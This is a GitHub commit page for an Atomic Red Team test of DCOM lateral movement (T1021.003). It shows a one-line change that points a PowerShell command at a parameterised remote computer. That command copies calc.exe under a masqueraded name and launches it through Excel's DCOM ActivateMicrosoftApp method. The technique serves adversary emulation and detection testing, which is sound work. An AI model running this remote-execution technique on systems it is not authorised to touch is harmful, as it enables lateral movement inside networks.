Skip to content

Commit

Permalink
Update T1021.003.yaml
Browse files Browse the repository at this point in the history
  • Loading branch information
tsale authored Nov 3, 2023
1 parent ab38692 commit 60fe9e1
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion atomics/T1021.003/T1021.003.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -58,6 +58,6 @@ atomic_tests:
executor:
command: |
copy c:\windows\system32\calc.exe 'C:\users\#{user}\AppData\local\Microsoft\WindowsApps\foxprow.exe'
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","localhost"))
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","#{computer_name}"))
$com.ActivateMicrosoftApp("5")
name: powershell

0 comments on commit 60fe9e1

Please sign in to comment.